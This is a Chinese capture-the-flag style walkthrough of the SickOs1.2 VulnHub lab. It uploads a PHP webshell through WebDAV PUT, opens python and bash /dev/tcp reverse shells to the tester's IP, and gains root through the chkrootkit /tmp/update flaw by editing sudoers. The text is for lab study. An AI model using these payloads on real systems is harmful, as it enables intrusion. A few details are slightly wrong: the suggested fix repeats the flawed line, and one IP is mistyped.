【攻略鸭】SickOs1.2_VulnHub靶机攻略

测试机IP地址:192.168.0.111
外部信息收集
获取靶机地址
sudo netdiscover -i eth0 -r 192.168.0.1/24
或者
sudo arp-scan -l
记录靶机IP地址:192.168.0.105
端口扫描
Nmap结果:
22/tcp OpenSSH 5.9p1 Debian 5ubuntu1.8
80/tcp lighttpd 1.4.28
网站指纹
$ whatweb http://192.168.0.105/
http://192.168.0.105/ [200 OK] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.28], IP[192.168.0.105], PHP[5.3.10-1ubuntu3.21], X-Powered-By[**PHP/5.3.10**-1ubuntu3.21], lighttpd[1.4.28]
目录枚举
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.105/FUZZ
结果:test Status: 301
访问后发现该目录文件列表。
HTTP方法探测
$ curl -v -X OPTIONS http://192.168.0.105/test/
* Trying 192.168.0.105:80...
* Connected to 192.168.0.105 (192.168.0.105) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.0.105
> User-Agent: curl/7.85.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
漏洞利用
PUT上传
1.curl上传webshell
上传无害文件测试:
curl -v -X PUT -d "Testing 12" http://192.168.0.105/test/test.txt
上传webshell:
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v
若返回201表示上传成功
!!!注意:发现返回417报错。
有个观点是:通过curl命令上传本地文件时,由于curl会先发送一个带Expect头的报文,而Lighttpd不支持这个头,因此无法上传成功。
经验证,以下两种方法都可以:
-H:'Expect:'
-0:默认自动识别HTTP/x.x添加
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v -0
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell2.php -v -H 'Expect:'
2.BurpSuite上传PHP一句话
开启BurpSuite修改GET请求包
PUT /test/2.php HTTP/1.1
<?php system($_GET["cmd"])?>
返回:
HTTP/1.1 201 Created
利用PHP一句话和python反弹shell
http://192.168.0.105/test/2.php?cmd=id
http://192.168.0.105/test/2.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.111",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
!!!注意:反弹shell时测试机端口仅能用443和8080,靶机防火墙仅允许了常见的Web端口。
3.nmap上传reverse shell
修改/usr/share/webshells/php/php-reverse-shell.php配置IP及测试机端口443,上传至靶机。
nmap -p80 192.168.0.105 --script http-put --script-args http-put.url='/test/shell2.php',http-put.file='/home/kali/sickOS/shell2.php'
访问后使用测试机:
nc -nvlp 443
echo $-
python -c 'import pty;pty.spawn("/bin/bash")'
4.MSF
msfvenom -p php/meterpreter/reverse tcp lhost=192.168.0.111 lport=443 >shell.php
curl [http://192.168.0.115/test/](http://192.168.0.105/test/) -T /home/kali/sickOS/shell.php -v
msf:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.111
LHOST => 192.168.0.111
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升
本地信息收集
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux Ubuntu 12.04.4 LTS
查看计划任务:
ls -al /etc/cron*
#m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
/etc/cron.daily中发现chkrootkit
chkrootkit -V
chkrootkit version 0.49
chkrootkit漏洞
搜索漏洞searchsploit chkrootkit -t -w
发现0.49版本存在提权漏洞
漏洞原因:file_port="$file_port $i"处$file_port变量可能为空,缺少引号闭合。
修复建议:file_port="$file_port $i"
漏洞会导致运行chkrootkit时,会以运行chkrootkit的用户的权限执行/tmp/update文件
利用漏洞需要/tmp目录有执行权限。
前面查看过/etc/cron.daily以root权限运行
写入sudoers文件
将www-data用户写入sudoers。
echo 'echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
chmod +x /tmp/update
几十秒后发现提权成功。
!!!注意:计划任务配置中看到/etc/cron.daily每天早晨6:25执行,但结合/etc/cron.daily/chkrootkit、/etc/chkrootkit.conf可知/etc/cron.daily/chkrootkit并不会执行,在获取root权限后,查看/etc/cron.d:
cat /etc/cron.d/chkrootkit
* * * * * root /usr/sbin/chkrootkit
看到每分钟执行一次。
反弹root权限shell
$ nc -nvlp 8080 www-data@ubuntu:/tmp$ printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.0.111/8080 0>&1\n' > /tmp/update www-data@ubuntu:/tmp$ cat update #!/bin/bash bash -i >& /dev/tcp/192.168.0.111/8080 0>&1 www-data@ubuntu:/tmp$ chmod +x update
几十秒后发现提权成功。
其他
防火墙规则
root@ubuntu:~# cat newRule
#Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
过滤规则:
对于入站流量:只接收目的端口22、80,源端口8080、443
对于出站流量:只接收源端口22、80,目的端口8080、443
即:本地端口只允许22和80,外来端口只允许8080和443,用来保证对外部HTTP(s)服务的正常访问
flag
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
疑问求助
1.求个探测防火墙允许哪些外来端口的脚本;
2.我内核版本提权失败了,可以成功的朋友麻烦留言交流。
本文未经作者同意禁止转载!
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!